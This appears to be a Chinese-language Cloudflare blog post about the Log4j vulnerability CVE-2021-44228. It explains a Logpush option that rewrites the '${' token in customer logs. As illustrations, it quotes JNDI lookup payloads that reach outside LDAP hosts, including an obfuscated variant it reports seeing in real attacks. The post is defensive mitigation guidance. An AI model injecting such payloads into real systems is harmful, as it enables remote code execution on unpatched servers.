2021 年 12 月 9 日,CVE-2021-44228这种零日漏洞利用在全球曝光。该漏洞会影响 Apache Log4j 实用工具。Cloudflare 立即更新了我们的 WAF,以帮助防御该漏洞,但我们建议客户尽快更新其系统。
然而,我们了解许多 Cloudflare 客户通过使用 Log4j 的软件使用其日志,因此我们还缓解了通过 Cloudflare 日志的任何漏洞利用。截至本文发稿时,我们在发送给客户的日志中发现高达 1000 次/秒的漏洞利用模式。
客户可以立即开始更新其 Logpush 作业,以自动修改可能触发此漏洞的令牌。您可以在我们的开发人员文档中阅读更多相关信息,或查看下面的详情。
攻击的工作方式
您可以在此处我们的博客帖子中阅读有关 Log4j 漏洞工作方式的更多信息。简而言之,攻击者可以在任何字符串中添加诸如 ${jndi:ldap://example.com/a} 之类的内容。Log4j 会在互联网上建立连接以检索此对象。
Cloudflare 日志包含由公共互联网上的最终用户控制的许多字符串字段,例如用户代理和 URL 路径。通过此漏洞,恶意用户有可能在读取这些字段并使用未修补的 Log4j 实例的任何系统上进行远程代码执行。
我们的缓解方案
遗憾的是,仅仅检查诸如 ${jndi:ldap 之类的令牌不足以防御此漏洞。由于模板中使用强大的语言表达式,还有必要检查混淆的变体。我们已经发现攻击者在使用诸如 ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} 之类的真实用例变种。因此,修改令牌 ${ 是防御此漏洞的最常规方法。
令牌 ${ 在我们目前发送给客户的日志中出现的频率高达 1,000 次/秒。对一些记录进行抽查表明,该令牌的许多情况并_不是_企图利用此漏洞。因此我们无法安全地修改日志,而不影响可能预期在其日志中出现此令牌的客户。
从现在开始,客户可以更新其 Logpush 作业以修改所有地方的字符串 ${ 并将其替换为 x{。
为此,客户可以更新其 Logpush 作业选项配置以包括参数 CVE-2021-44228=true。有关如何使用 Logpush API 执行此操作的详细说明,请参阅我们的开发人员文档中的示例。请注意,此选项目前在 Cloudflare Dashboard 中不可用,仅可使用 API 进行修改。
在 Twitter 上讨论 在 Hacker News 上讨论 在 Reddit 上讨论
在 Twitter 上关注 Cloudflare
Jon Levine |@jplevine
Cloudflare 丨Cloudflare